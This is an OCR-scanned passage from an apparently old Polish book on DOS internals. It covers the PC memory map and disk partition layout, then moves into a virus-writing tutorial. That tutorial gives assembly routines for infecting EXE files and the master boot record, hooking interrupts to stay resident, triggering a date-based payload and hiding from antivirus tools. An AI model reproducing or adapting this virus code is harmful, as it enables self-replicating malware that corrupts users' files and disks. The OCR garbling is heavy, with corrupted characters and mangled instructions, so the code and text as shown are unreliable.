z mapš pamięci komputera klasy IBM . Jak widzisz ostatni adres to FFFF:FFFFh. Na mapie jest więc pokazany 1 MB pamięci. W tym momencie na pewno zadasz pyfanie. No dobrze, ale w moim kompulerze, gdy wyœwietlę rozmiar dostępnej pamięci otrzymuje wartoœć 640 KB. Masz rację, z punktu widzenia programisty tylko pierwsze 640 KB nadaje się do użytku. Pozostałe to pamięć ekranu(128 KB) i pamięć ROM (256 KB). Pamięć ekranu zawiera dane do wyœwietlenia. W trybie tekstowym sš to kody i atrybuty znaków. W trybie graficznym, bajty odpowiadajšce zapalonym punktom. Zapisanie czego- kolwiek do tej pomięci powoduje natychmiastowe pojawienie się efektów tego na ekranie. Jak pewnie wiesz pamięć ROM służy tylko do odczytu. Znajdujš się w niej procedury obsługi przerwari, procedury obsługi urzšdzeri dołšczonych do płyty głównej (dysk twardy, Karta EGA itd). Jest tam również kod, który wykonuje się automatycznie na poczštku pracy komputera. Procedury te noszš nazwę BIOS (Basic Input Output System - Zbiór podstawowych procedur wejœcia/ wyjœcia). Jest to właœciwie jšdro całego sytemu. Gdy powstawał pierwszy komputer osobisty IBM, firma ta nie zgłosiła w urzędzie patentowym żadnej częœci maszyny wlaœnie poza BIOS-em. Dlatego w każdym klonie może być inna, dostarczana przez producentów sprzętu, wersjaBIOS-u. Aby nie zapanował bafagan wymyœlono, iż odwołania do niego będš odbywały się tylko poprzez przerwania, a nie przez bezpoœrednie adresy. W praktyce jednak większoœć producentów dba aby była zachowana zgodnoœć nie tylko funkcyjna, ale i adresowa. Umożliwia to niektórym wirusom skoki wprost do procedur w ROM-BIOS-ie. Taki wirus jest praktycznie niewykrywalny przez standardowe programy typu FLUSHOT chronišce przed zarażeniem. Adres Nazwa I Opis. 0000:0000 Tablica wektorów przerwari: 256 4-bajtowych adresów. Adresy sš pamiętane w kolejnoœci offset,segment. Poprzez zmianę tych wektorów możesz instalować swoje własne procedury obsługi przerwań. Nie zmieniaj jednak w swoich programach tych wartoœci wprost, tylko stosuj do tego celu funkcję 35h przerwania 21 h Wtedy DOS będzie wiedział, iż Twój program obsługuje przerwanie. Inaczej może do różnych nie- przewidzianych sytuacji, nawet do zawieszenia się systemu. Oczywiœ- cie większoœć wirusów nie stosuje się do tej zasady sš one bowiem napisane w Iaki sposób, by maksymalnie długo maskować swojš obe- cnoœć w systemie. 0040:0000 Zmienne systemowe. Patrz opis w rozdziale pištym. xxxx:0000 Częœć BIOS-u dostarczana ze zbioru IO.SYS, który znajduję się na dysku uruchamiajšcym syslem. xxxx:0000 Procedury obsługi przerwań DOSa. Między innymi przerwania 21h. Wezytywane ze zbioru MSDOS.SYS. xxxx:0000 Obszar zarezerwowany przez DOS: bufory, dane oraz zainstalowane procedury obsfugi urzšdzeń zewnętrznych. xxxx:0000 Rezydentna częœć procesora komend COMMAND.COM okofo 4KB długoœci. Zawiera procedury obsługi przerwań 22h 23h 24h. xxxx:0000 Programy typu TSR (Terminate & Stay Resident - zakończ pracę , i zostań w pamięci). Działanie takich programów sktada się z trzech częœci . ů 1. Uruchomienie właœciwego programu, który kończy działanie pozo- stajšc w pamięci. ů 2. Sprawdzanie, czy został spelniony został jakiœ warunek jego wywo- łania. Np. czy została naciœnięta jakaœ kombinacja klawiszy. ů 3. Częœć właœciwa, wykonujšca różne czynnoœci usługowe. Przykła- dem TSR-a jest znany program Side Kick. ,.ţ xxxx:0000 Aktualnie wykonujšcy się program. xxxx:0000 Przenoœna częœć COMMAND.COM. Zawiera procesor poleceń. Dzię- ki niej widzisz napis C: i możesz wpisywać polecenia systemu opera- cyjnego. a000:0000 Pamięć karty EGANGA. b000:0000 Pamięć obrazu karty monochromatycznej. Również karty niestandardo- wej Hercules. b800:0000 Pamięć obrazu CGA. Również druga strona pamięci karty Hercules. c800:0000 do e0000 Rozszerzenia BIOS-u zawierajšce sterowniki dysku twardego, czy EGA- BIOS lub VGA-BIOS. e000:0000 do e000:ffff Częœć BIOS-u dotyczšca komputerów klasy AT. f600:0000 Interpreter BASIC-a. fe00:0000 do ffff:ffff ROM-BIOS. ţ*ţ Powyżej Górna pamięć. Może się w niej znajdować bufor przyœpieszjšcy pracę dysku twardego (tzw. Cache) lub kod programów rezydentnych. W DOSie 5.0 obszar ten może być wykorzystywany zarówno przez system jak i przez programy takie jak Windows, Czy Microsoft C PDS do wielozadaniowoœd lub jako pamięć ogólnego przeznaczenia. Przerwanie 15H pozwala obsłu- giwać tš pamięć jako RAM-dysk. 37 15. Organizacja dysku Dysk sformatowany w systemie MS-DOS skiada się z kilku częœci: ů Blok ładujšcy (boot sektor) i zarezerwowane sektory ů Tablica FAT ů Kopia(e) tablicy FAT ů Katalog główny ů Obszar danych (Zawierajšcy m.in. pliki odpowiadajšce pod-katalogom) Dysk twardy może być podzielony na kilka dysków logicznych, dlatego na zerowej œcieżce tego dysku umieszczane sš ţformacje o podziale na strefy(partycje). Sfruktura ta nosi nazwa tablicy partycji. Każda ze stref jest zorganizowana w sposób opisany powyżej. W tej częœci ksišżki znajdujš się informacje o strukturze każdej z tych częœci. Zwróć szczególnš uwagę na tablicę partycji i blok ładujšcy, bowiem do nich mogš się kopiować wirusy, a w czasie startu komputera, instalować w systemie. Oprócz fizycznego podziału na œcieżki, sektory, głowice(strony) dyskietka lub strefa na dysku jest podzielona na sektory logiczne. Sektory te sš uporzšdkowane w naslępujšcej kolejnoœci: œcieżka 0 głowica 0 sektor 1; œcieżka 0 gtowica 0 sektor 2 ; ... œcieżka 0 głowica 1 sektor 1; œcieżka 0 głowica 1 sektor 2 ; ... œcieżka 1 głowica 0 sektor 1; œcieżka 1 głowica 1 sektor 2 ; ... Numer sektora logicznego, wylicza się więc według wzoru: ((numer œcieżki)*(liczba głowic)+numer głowicy) * (liczba sektorów na œcieżce ) + numer sektora na œcieżce. Tablica partycji dysku twardego Pierwszy sektor dysku twardego (œcieżka 0, głowica 0, sektor 1 ) zawiera Główny Blok Ladujšcy (Master Boot Record), który podczas startu systemu jest tadowany pod adres 0:7C00 i wykonywany. Ostatnia cz꜂ tego bloku zawiera tablicę partycji. Jest to 4-pozycyjna struktura (każda pozycja 16 bajlów), zawierajšca informacje o podziale dysku na strefy. W systemach do DOSa 4.0 podział na strefy był jedynš metodš obstugi dysków powyżej 32 MB. W nowszych wersjach praktycznie każdy dysk może mieć tylko jednš stretę, ale możliwoœć podziału jest w dalszym cišgu zachowana. Główny Blok Ładujšcy dysku twardego ma następujšcš strukturę: Offset Rozmiar Zawartoœć +0 1 BEH Instrukcje odczytujšce informacje o partycjach, wczytujšce blok ładujšcy aktywnej partycji i oddajšce mu sterowanie +l BEH l OH opis partycji #1 +l CEH 10H opis partycji #2 +l DEH 10H opis partycji #3 Offset Rozmiar Zawartoœć +l EEH lOH opis partycji #4 +1 FEH 2 symbol korica tablicy partycji (OAASSH) Opis partycji ma następujšcš postać: Offs Rozmiar Zawartoœć Znacznik aktywnoœci partycji (0=nie aktywna; 80H = aktywna). Aktywna partycja to ta, ' +0 1 z której wczytuje się system operacyjny. Teoretycznie na dysku twardym może być kilka aktywnych partycłi, w praktyce ţednak system jest wczytywany tylko z pierwszej z nich +1 1 Numer głowicy poczštku partycji. ţţ.,ţ +2 2 Numer œcieżki i sektora poczštku partycji 10 bitów numer œcieżki i 6 bitów numer sektora (patrz opis funkcţi 02 przerwania 13H). +4 1 Kod systemu 0=nieznany;1=DOS 12-bitowy FAT, 4=DOS 16-bitowy FAT, 5=Rozszerzona partycja. +5 1 Numer głowicy korica partycji. +6 2 Numer œcieżki i sektora korica partycji. +8 4 Numer pierwszego sektora relatywnego partycji (sektor logiczny liczony od poczštku dysku). +OcH 4 Rozmiar partycji w sektorach. +l OH Poczatek opisu następnej partycji (lub OAASSH jeœli koniec). W czasie startu systemu po przekazaniu sterowania do bloku ładujšcego aktywnej partycji opis tej partycji jest wskazywany k I przez parę rejestrów DS:DI : ,ţ Blok ładujšcy Pierwszy sektor dyskietki lub partycji dysku twardego zawiera Blok ładujšcy.W czasie startu systemu blok ten jest wczytywany pod adres 0:7C00 i wykonywany. Blok ten powinien mieć format taki jak poniżej: 39 Offs Rozmiar Zawartoœć +0 3 JMP nn nop Instrukcja skoku do kodu +3 8 'I' 'B' 'M' '5' '.' '0' Nazwa i numer OEM +ObH 2 RozmSek Bajty na sektor ory z dluzszym wirusem jesli ţednak zdarzylby sie taki to mozesz rozrŸerzyc liczbe , sektorow maksymalnie do 16 pamietajac o tym ze po tych sektorach pamietana jest oryginalna tablica , partycji (znajdz jej nowa lokalizacje). k: PoP e pop ds ret 51 Przy zarażaniu tablicy partycji musisz zwrócić uwagę na to, aby zmieniana była tylko ta częœć tablicy z kodem ładujšcym, a nie informacje o strukturze dysku. W przeciwnym razie komputer może na przykład nie widzieć dysku twardego, lub nie chcieE wystartowaE z tego dysku. Może się to zdarzyć w sytuacji, gdy kod zarażonej tablicy partycji przekroczy 1 BEH bajtów (patrz opis organizacji dysku). Doklejanie się do pliku Wirusy potrafiš dotšczyć się praktycznie do każdego typu zbiorów zawierajšcych programy. Mogš to być procedury obsługi unšdzeri (.sys), pliki z modulami do konsolidacji (.obj) , nakladki (.ovl), programy w postaci absolutnej (.com) lub przemieszczalnej (.exe). Wirusy doklejajš się zazwyczaj na koniec pliku zwiększajšc jego dlugoœć lub kopiujš się w takie miejsce pliku, w którym nie zniszczšżadnych informacji. Wtym drugim przypadku dlugoœć pliku nie ulegazmianie, sšwięconejakgdybyniewidzialne . Oprócz skopiowania się do pliku wirusy zmieniajš także punkt startu programu. W plikach z nagłówkami (.sys, .exe) zapamiętywane sš stare i wpisywane nowe wartoœci punktu(ów) startu tak, aby wskazywaly na kod wirusa. Po uruchomieniu tal–ego programu najpierw wykonuje się wirus, a dopiero potem vţaœciwe instrukcje. Z programem w postaci absolutnej (.com) sprawa jest trochę bardziej skomplikowana. Ponieważ dla tego programu punkt startu jest zawsze taki sam (cs:100H), należy zapamiętać trzy pierwsze bajty pliku, w ich miejsce wstawiE instrukcję jmp poczštek wirusa+1 OOH . Wirus natomiast przy uruchamianiu powinien wykonać swój kod, przywrócić pod adresem cs:1 OOH trzy pierwsze oryginalne bajty programu i wykonać skok do cs:l00H. Poczštek wirusa powinien być liczony względem poczštku pliku, jeœli więc wirus jest dołšczony na koricu, to poczštek wirusa jest równy rozmiarowi pliku przed zarażeniem +1. Pod spodem znajduje się przykładowa procedura zarażajšca plik z programem w postaci przemieszczalnej (.exe) znajdu- jšcy się w aktualnej kartotece. Zarażony plik jest oznaczany w ten sposób, że w nagłówku pliku liczba minut i sekund jest ustawiana na OFFH. Procedura nie zaraża plików raz zarażonych lub o rozmiarze większym niż 128K8. Dla ułatwienia przyjšłem, że segment z danymi to równoczeœnie segment z programem, stšd biorš się doœć częste operacje podstawienia pod wartoœć rejestru DS wartoœci rejestru CS. Takie samo założenie przyjmowałem i w następnych proce- durach. handle dw(?) , Dojscie do pliku dlugoscţlik ţseg dw ( ? ) u ofs dw (?) Dlugosc pliku = , 65536 * seg + ofs naglowek dw (?) Rozmiar naglowka pliku czas dw (?) , Czas i data ostatniej modyfikacji.Wykorzţstywane data dw (?) sa w celu oznaczenia , zarazonego pliku. wzorzec db '*.exe',0 Procedura szuka tylko plikow z rozszerzeniem EXE wlasciwy typ pliku jest jednak sprawdzany poprzez porownanie czy dwa pierwsze znaki to MZ zarazenieţpliku: push ax push bx push cx push dx ' push si push di push ds push es pushf mov ah,4eh mov cx , cs mov ds , cx mov dx,offset wzorzec mov cx,Ofh int 21h , znalezienie pierwszego ţliku odpowiadajacego wzorcowi jnc znalezionyţplikţtypu exe ţmp koniecţzarazaniaţpliku znalezionyţplikţtypu exe: mov ah,2fh ..:iţţ int 21h Pobranie adresu bufora roboczego do es:bx mov cx,es W buforze roboczym pod adresem l EH(offset) znajduje sie mov ds,cx nazwa ţliku zgadnego ze wzorcem, znalezionego ostatnio mov dx,bx przy pomocy funkcji 4EH lub 4FH. Nazwa ta przekazywana adresem DS : DX ‹;:ţ , add dx,leh jest parametrem dla nastepnej funkcji , otwierajacej dojscie do pliku. szukanie niezarazonegoţpliku: mov ax,3d02h int 21h mov cx , c s mov ds , cx mov bx ax , Œ mov hańdle,ax , Otwarcie dojscia do pliku mov ax 5700h int 21h , Pobranie czasu ostatniej modyfikacji do CX cmp c1,Offh , Sprawdzenie, czy plik jest juz zarazony jne do zarazenia mov ah 3 eh int 21h , Jesli juz zarazony, to zamknij dojscie mov ah 4 fh int 21h , i szukaj nastepnego pliku zgodnego . ł ze wzorcem jnc znalezionyţplikţtypu exe jmp koniec zarazaniaţpliku do zarazenia: ;ţ;ˆ ţ mov cl,Offh Zapamietanie zmodyfikowaneţo czasu i daty ostatniej modyfikacţe pliku. mov data,dx Jesli nie bedzie klopotu z dalszym mov czas,cx zarazaniem to te wartosci beda , oznaczaly, ze plik jest zarazony mov cx , 0 mov dx , 0 mov ax 4202h int 21h ţ Przesuniecie wskaznika pliku na koniec mov dlugoscţpliku seg,dx ; i odczytanie w ten sposob , rozmiaru pliku. mov dlugoscţ>liku ofs , ax mov cx , 0 mov dx , 0 mov ax 42 0 Oh int 21h , Przesuniecie wskaznika pliku na poczatek. mov ax , c s mov ds , ax mov dx,offset bufor mov cx , 2 Oh _ mov ax 3 f 0 Oh int 21h Wczytanie do bufora naglowka pliku, Wszelkie operacje odczytu i zapisu z naglowka pliku beda od tej pory , wykonywane w buforze cmp word ptr [bufor] , ' ZM' sprawdzenie czţr plik , jest rzeczywiscie je plikţtypuţexe , plikiem typu EXE ţmp plik za duzy , Jesli nie to skok do , konca procedury plikţtypu exe: , Wlasciwe zarazenie pliku mov ax,offset koniec mov c 1, 9 shr ax , c 1 and ax,lffh 53 mov cx,ax Obliczenie dlugosci wirusa w 512-bajtowych stronach mov ax,word ptr b–for[4) add ax , cx inc ax mov word ptr bufor[4),ax Tnlstawienie nowego rozmiaru pliku wraz z wirusem mov ax,word ptr bufor[8] mov naglowek,ax , Zapamietanie rozmiaru naglowka mov ax,word ptr bufor[16h) , Zapamietanie oryginalnego segmentu startu mov cs_start, ax , programu . mov ax dlugoscţplikuţseg , Sprawdzenie rozmiaru pliku jesli wiekszy cmp ax,02h niz 128KB - rezygnacja z , zarazenia. ţle plik ok jmp plikţza duzy plik ok: mov c1,O Ch , Ustalanie nowego segmentu punktu startu shl ax, cl , proţramu . and ax,0f000h Poniewaz wirus dokleja sie na koncu mov dx,ax pliku nowy segment jest ustalany jako dlugosc-plikuţseg*4096+dlugoscţpliku offs/4 mov ax,dlugoscţpliku ofs; mov c1,04h - rozmiar naglowka + 1. shr ax,cl , Nowy segment punktu startu programu and ax,Offfh , zaczyna sie dokladnie w miejscu poczatku wirusa. add ax , dx mov dx,naglowek sub ax , dx inc ax mov word ptr bufor[16h),ax , zapisanie nowego segmentu startu mov ax,word ptr bufor[14h] Zapamietanie oryginalnego offsetu punktu startu programu, cs start i ipţstart beda pozniej wykorzystywane przez procedure uruchamiajaca program. mov ipţstart,ax; mov ax,offset startţpliku exe , Jako nowy adres punktu startu pliku wpisţrwany jest adres procedury wirusa przechwytujacej uruchamianie programu. mov word ptr bufor[14h],ax; mov cx , 0 mov dx , 0 mov ax,4200h int 21h , Ustawienie wskaznika pliku na poczatek mov dx,offset bufor mov cx,20h mov ax,4000h , int 21h , Zapis naglowka ze zmienionymi danymi. mov cx , 0 mov dx , 0 mov ax,4202h int 21h , Ustawienie wskaznika pliku na koniec mov ax,dlugoscţpliku ofs and ax,000fh cmp ax , 0 jne zaokraglenie doţl6 mov cx,Ofh j mp 0 K zaokraglenie ć1o 16 : mov cx,Ó00fh sub cx , ax O K: , Dopisanie kilku bajtow do pliku, tak 54 inc cx aby wirus zaczynal sie od pozycji podzielne przez 16, czyli od pelnego segmentu mov cţx , offset tablicaţpartycj i ; mov ax,4000h Upraszcza to pozniejsze int 2 lh , adresowanie . mov cx , 0 mov dx , 0 mov ax 4202h int 21h , Ustawienie wskaznika pliku na koniec mov dx,offset tablicaţpartycji mov ax, offset koniec w'-ůţ mov c 1, 9 shr ax , c 1 inc ax mov c 1, 9 shl ax,cl , Wlasciwe doklejenie sie do pliku, przy zalozeniu, ze wirus mov cx,ax zaczyna sie od adresu tablicaţpartycji, , zas konczy na adresie koniec. mov ax 4000h , Rozmiar wirusa jest zwiekszany do int 21h , wielokrotnosci 512. plik za duzy: mov cx,czas Plik nie zostal zarazony, , bo nie jest to plik typu exe mov dx,data ů lub jest za duzy. , Rowniez wtedy gdy zarazenie przebieglo mov ax 5 7 01h pomys lni e . int 21h Oznaczenie pliku jako zarazony , (aby nie nastepowaly , ponovrne proby 7ego zarazania). mov ah 3 eh int 21h , zamkniecie dojscia koniecţzarazaniaţpliku: popf pop es pop ds pop di pop s i pop dx pop cx pop bx pop ax ret Instalowanie się w systemie Instalowanie się wirusa w systemie operacyjnym polega na przekopiowaniu się w bezpieczne (tzn takie, w którym nie . będziemożliwoœciskasowania)miejscepamięcioraznaprzechwyceniuodpowiednichprzerwań. Instalowaniesięwsystemie ţ . x .. przebiega różnie w zależnoœci od tego, czy wirus uaktywnia się na poczštku pracy systemu (z tablicy partycji), czy jest wywolywany z jakiegoœ pliku. W tym pierwszym przypadku jeœli chcemy korzystać z jakiœ funkcji lub przerwań DOSa instalowanie powinno przebiegać dwustopniowo. Podczas ładowania systemu ani funkcje, ani przerwania systemowe nie sšdostepne. Wirus musi więc przekopiować się w odpowiednie miejsce pamięci, przechwycićjakieœ przerwanie(nia) BIOS-u i czekać na załadowanie się systemu. Po załadowaniu się systemu następuje dopiero właœciwe przechwycenie przerwań i instalacja w systemie. W przykładzie, który znajduje się poniżej, do tego celu zostało wykorzystane przerwanie 1CH (przerwanie zegarowe użytkownika). Możliwe jest również wykorzystanie sprzętowego przerwania zegarowego 09H, jednak po spełnieniu kilku warunków - patrz opis tego przerwania. Przerwanie 12H - okreœla rozmiar pamięci operacyjnej komputera. Przechwycenie tego przerwania pozwala na oszukanie" systemu i obniżenie ostatniego adresu o 4KB. Wirus instaluje się w obszarze, którego od tej pory system nie widzi. Właœciwa instalacja w systemie to przechwycenie przerwań 21 H i 13H. Dzięki temu przechwyceniu możliwe będzie póŸniej rozmnażanie się wirusa oraz maskowanie obecnoœci w systemie. 55 Poniższe procedury pozwalajš na zainstalowanie się wirusa w systemie operacyjnym podczas ładowania tego systemu. Poczštkowo wywolywane sš tylko procedury instalowanie-przerwaniaţlch i instalowanie-przerwania-12h. Zwróć uwagę, że procedury te nie wykorzystujš żadnych funkcji systemowych. Pozostałe procedury sš podłšczone pod odpowiednie przerwania i wywołujš się automatycznie po upływie pewnego czasu. Zakładam, że zdefiniowane sš zmienne, w których pamiętane sš oryginalne adresy procedur obsfugi przerwari. instalowanie-przerwaniaţlch: push ds push es mov cx , c s mov ds , cx xor dx , dx mov es,dx , DS = CS , ES = 0 mov licznik,0 , rozpoczecie odliczania czasu mov ax,es:70h Zapamietanie ofsetu adresu poprzedniej mov adres lch ofœ,ax ; procedury obslugi przerwania lch mov es:701i,offset przerwanieţlch , i ustawienie nowego adresu mov ax,es:72h Zapamietanie oprzedniego segmentu ů procedury obs ugi przerwania lch mov adres lchţseg,ax , i ustawienie nowego mov es : 72h, , segmentu pop es pop ds ret instalowanie-przerwaniaţl2h: push ds push es mov cx , c s mov ds , cx xor dx , dx mov es,dx , DS = CS , ES = 0 mov ax,es:48h Zapamietanie ofsetu adresu poprzedniej mov ax,es:72h , Zapamietanie poprzedniego segmentu procedury mov adresţlchţseg,ax obslugi przerwania lch ;i ustawienie nowego mov es : 72h, , segmentu mov ax,es:4ah ů Zapamietanie poprzedniego segmentu mov word ptr adresţl2h ofs[2],ax ; procedurţ obsluţi przerwania lch i @LISTING = mov es:4ah,cx , ustawienie nowego segmentu pop es pop ds ret ţe adresţl2h ofs dd far ptr (?) przerwanie 12h: pushf , i cli call cs:far [adresţl2h ofs+2] , Wywolanie oryginalnego , przerwania 12H sti , W rejestrze AX - rozmiar pamieci w KB i sub ax,4 Zmniejszenie rozmiaru pamieci o 4KB cli , Po zainstalowaniu teţo przerwania iret , system nie bedzie "widzial" gornych 4KB adresţlch ofs dw (?) , Offset i segment oryginalnej procedury obslugi adres lch seg dw (?) , przerwania zegarowego 1CH licznik dw 0 Licznik czasu do pelnej instalacji opoznien.ie equ l00h , Ilosc taktow zegara (1 takt = ok 1/ 18s ) po ktorţrch wirus ma sie zainstalowac w systemie Powinna wynosic pr2ynajmniej 64H. , (Mniejszţ czas moze nie starczyc na , zaladowanie systemu.) przerwanie_lch: push ax push bx push dx ' ,ţ ; ţ push ds push es mov ax , cs mov ds , ax mov ax,licznik inc ax , zwiekszenie licznika cmp ax,opoznienie ; sprawdzenie czy uplynal juz odpowiedni ćzas jge zmiana , jesli tak to rozpoczecie instalacji mov licznik,ax jmp wyjscieţzţlch zmiana: mov ah 2 ah int 21h Sprawdzenie, czy jest wlasnie 14 cmp dx 060eh ;czerwca (lub dowolna inna data) jne zmien adresy ; Jesli nie, to instalacja w sţstemie call kodowƒnie Jesli tak, to uaktywnienie sie, call dezaktywacja ; wymazanie sie samemu wirusa mov ax,Offffh , i restart systemu push ax mov ax , 0 push ax retf zmien_adresyţ mov ah 3 4h int 21h Sprawdzenie, czy DOS nie jest zajety np mov ah,es:[bx) ; przez operacje dyskowa. W takim or ah,ah , przţrpadku dalsze czynnosci moglyby zaws.esic system jnz wyţscie zţlćh call zmien adresyţ>rzerwan ; Jesli system nie zajety, to wirus mov ax,cs ţrzechwytuje prżerwania 13H,21H i przywraca mov ds,ax poprzednia procedure obslugi przerwania zegarowego 1CH mov dx,adres 1ch ofs , (Zwalnia to przerwanie) mov ax , adreœ lcYi seg mov ds , ax mov ax,251ch int 21h wyjscie_z_lch: pop es pop ds pop dx pop bx )>op ax iret zmien adresyţprzerwan: sti push ax push bx push cx push dx push ds push es mov ax haslo Sprawdzenie czy wirus nie jest juz int 21h zainstalowańţr w systemie. Naţprostszţns cmp ax,odzew sprawdzania ţest przechwycenie funkcţi je koniec_zmiańyţadresow lub przerwania standardowo nie uzywanej przez system. Wirus sprawdza czy po wywolaniu funkcji o numerze haslo w reţestrze AX zwrocona wartosc odzew. Jesli tak, , to znaczy ze wirus jest juz w pamieci. mov cx , c s mov ds , cx 57 xor dx , dx mov es,dx DS = CS , ES = 0 mov ax,es:4ch mov word ptr[adres 13h ofs) ax mov es:4ch,offset przerwanieţl3h mov ax,es:4eh Zapamietanie orţginal- nego i ustawienie mov word ptr adresţl3h ofs(2],ax; nowego adresu procedurţ obslugi mov es:4eh,cx , przerwania 13H , (offset i segment) mov ax,es:84h mov word ptr[adres 21h ofs),ax mov es:84h,offset przerwanieţ2lh mov ax,es:86h , Zapamietanie oryginalnego i ustawienie mov word ptr adresţ2lh ofs[2),ax ; nowego adresu ů procedury obslugi mov es:86h,cx , przerwania 21H (offset i segment) koniecţzmianyţadresow: pop es pop ds pop dx pop cx pop bx poţ ax cli ret Powyższe procedury instalujš wirusa w pamięci podczas startu systemu. Przechwytywanie przerwari i kopiowanie w bez- pieczne miejsce pamieci podczas uruchamiania wirusa z zarażonego pliku jest prostsze, gdyż odbywa się tylko w jedr>ej fazie. Poniżej przedstawiona jest procedura, która instaluje wirusa w pamięci podczas uruchamiania zarażonego pliku. Zakładam, tak jak poprzednio, że kod wirusa zaczyna się od adresu tablica-partycji, a koriczy na adresie koniec. przechwycenie-przerwan: push ds push es mov bx,((offset koniec) - (offset tablicaţpartycji)) mov c 1, 4 shr bx,cl , ustalanie ile pamieci ;(w pargrafach 16 - bajtowych) jest inc bx ţotrzebne dla wirusa mov ah,48h , i przydzial tej pamieci int 21h jnc amiecţprzydzielona mov ţx,((offset koniec) - (offset tablica-partycji)) mov c 1, 4 shr bx,cl In1 przyţadku, gdy pamiec nie zostala przydzielona inc bx ţonowne obliczenie ile ţamieci potrzeba mov ax,ds i ponowny przydzial pamieci w sposob mov es,ax nieudokumentowany korzystajac z teţo, mov ax,es:2 ;w jaki sposob DOS oznacza bloki pamieci. sub ax , bx ` moves:2,ax push ax mov ax , e s dec ax mov es , ax mov ax,es:3 sub ax , bx mov es:3,ax pOp ax pamiec-przydzielona: push ax , w rejestrze AX numer segmentu, ktory zostal przydzielony mov bx , cs , wirusowi mov ds , bx mov es , ax mov di,offset tablicaţpartycji mov si,offset tablicaţpartyc7i 58 :;ţţ cx,offset koniec[l Oh) cld , przekopiowanie wirusa do miejsca, ktore rep movsb ţ zostalo mu przţdzielone mov ax,offset skokţpoţprzeniesieniu wţpamieci push ax , skok do miejsca w ktore wirus zostal retf , przekopiowany 'r Skokţpoţprzeniesieniu wţpamieci: call zmien adresyţprzerwan , patrz poprzednie procedury koniecţprzechwytywaniaţprzerwan: pop es pop ds ret Przechwytywanie programu ładujšcego system operacyjny Przy przechwytywaniu procedury ładujacej system operacyjny wirus korzysta z faktu, że podczas wczytywania systemu zawsze pierwszy sektor dysku (œcieżka 0, głowica 0, sektor 1) jest wczytywany pod stały adres w pamięci (0:7C00) i wykonywany jest program zawarty w tym sektorze. Ponieważ sektor ten jest zarażony przez wirusa wczytywanie systemu odbywa się w następujšcy sposób: - wczytanie zarażonego sektora - oddanie sterowania do wirusa - wczytanie przez wirusa reszty swojego kodu - instalacja (pierwszy etap) wirusa w systemie - wezytanie oryginalnego pierwszego sektora - oddanie sterowania do oryginalnej procedury ładujšcej Pod spodem przedstawiona jest typowa procedura przechwytujšca ładowanie systemu z tablicy partycji dysku twardego. tablicaţpartycji: xor ax,ax Stos jest tak samo ustawiany mov ss,ax , w oryginalnej procedurze ladujacej mov sp 7c00h ; system operacţţny int 12h , Pobranie rozmiaru pamieci operacyjnej mov cl,6 Ustalenie segmentu, ktory zaczyna sie 4ICB shl ax,cl , przed koncem pamieci mov cx,l00h sub ax , cx mov adres,ax mov dx,80h mov cx , 2 mov es , ax mov bx , 0 mov ax 0 2 0 6 h int 13h Wczytanie wirusa pod ten adres ;ţ:;ţţ mov ax,adres push ax mov ax,offset czesc inicjujaca push ax , Skok dó adresu czesc inicjujaca w obszarze retf do ktorego zostal wcŸţrtany wirus adres dw (?) adres, pod który wczytuţe sie wirus koniecţtablicyţpartycji: czescţinicjujaca: mov ax , c s mov s s , ax ::,‹ mov ds , ax mov sp,offset bufor[l00h) mov dx,80h mov c x , 9 xor ax , ax mov es , ax mov bx,7c00h push es push bx 59 mov ax,0201h int 13h wczytanie oryginalnej tablicy partycji pod adres 0:7C00 call instalowanieţprzerwaniaţlch Pierwsza czesc ţ instalacji wirusa call instalowanieţprzerwania 12h ; w systemie operacyjnym retf , przekazariie sterowania do oryginalnej , procedury ladujacej system Uruchamianie się na poczštku pracy programów Procedura przechwytujšca uruchamianie się plików typu EXE (lub innych programów z plików z nagłówkami) składa się zasadniczo z trzech etapów: - prawdzenie, czy wirus jest już w pamięci - jeœli nie, to zainstalowanie go do pamięci - oddanie sterowania do właœciwego programu, poprzez skok do oryginalnego punktu startu programu, zapa- mietanego przez procedurę zarażajacš plik. W plikach z programami w postaci absolutnej (.COM) pomiędzy drugim a trzecim m etapem wirus musi przywrócić oryginalny poczštek programu ( patrz opis zarażania pliku typu COM) Przykładowa procedura przechwytujšca uruchamianie pliku typu EXE może wyglšdać w nastepujšcy sposób: ipţstart dw (?) , oryginalny punkt startu programu , zapamietany przez csţstart dw (?) , procedure zarazajaca plik startţpliku exe: push ds push es mov ax,haslo int 21h cmp ax,odzew ; sprawdzenie czy wirus jest juz w systemie je wlasciwyţstartţpliku xor ax , ax mov es , ax int 12h mov cl,6 ponowne sprawdzenie, czy wirus jest juz shl ax,cl w systemie. Jesli tak, to segment pro- cmp es:4ah,ax cedury obslugi przerwania 12H ;(wektor 0:4AH) jest je wlasciwyţstartţpliku , rowny rozmiarowi pamieci. call przechwţcenieţprzerwan , instalacţa wirusa w @LISTING = call zarazenie tablicyţpartycji ; pamieci i zarazenie , tablicy partycji. wlasciwyţstartţpliku: mov cx , c s mov ds , cx mov ax, cs start mov bx,ipţstart pop es , Przywrocenie oryginalnych zawartosci , rejestrow DS i ES pop ds , oba te rejestry wskazuja na segment PSP mov cx , ds , pr ,ţ i ainu add ax,cx , W rejestrze AX znajduje sie segment , punktu startu programu add ax,l Oh ; jest on liczony według wzoru segment PSP + l OH (na PSP) + push x , + cs stƒrt, gdzie cs start jest to wartosc przesuniecia push bx , segmentu CS zapamietana z naglowka pliku retf , skok do oryginalnego punktu startu programu Maskowanie obecnoœci wirusa w systemie Kaidemu twórcy wirusa zależy na tym, aby maskował on maksymalnie długo swojš obecnoœć w systemie, tak żeby użytkownik komputera nie zauważał, że system jest zaintekowany oraz żeby nie zauważały tego programy antywirusowe. ` Niewykryty w porę wirus ma większe możliwoœci rozmnażania się. Maskowanie odbywa się głównie poprzez przechwycenie 5 niektórych przerwań i podawanie pewnych wartoœci, takich jak przed zainfekowaniem. Do tego celu służš głównie przerwania 21 H i 13H, chociaż mogš zostać wykorzystane i inne. Informacje, co do których wirus może "oszukiwać" system to: Podawanie zawartoœci tablicy partycji i bloku ładujšcego takich jak przed zarażeniem. ů Podawanie rozmiarów plików takich jak przed zarażeniem ů Podawanie nie tylko rozmiarów, ale i oryginalnej zawartoœci plików. W tym celu wirus przechwyfuje funkcje sy- stemowe czytajšee z pliku. Te technika nosi nazwę STEALTH (ang. - niewidzialny) ů Podawanie oryginalnych adresów procedur obsługi przerwari przechwyconych przez wirusa Oprócz tego wirus może wykorzystywać te przerwania do zarażania zbiorów podczas próby dostępu do dysku, do informowania o swojej obecnoœci w systemie (tak aby nie nastšpiła próba ponownej infekcji zarażonego systemu) oraz do uniemożliwienia zapisu czegokolwiek do sektorów zajmowanych przez kod wirusa. Swojšobecnoœć na dysku wirus może maskować poprzez 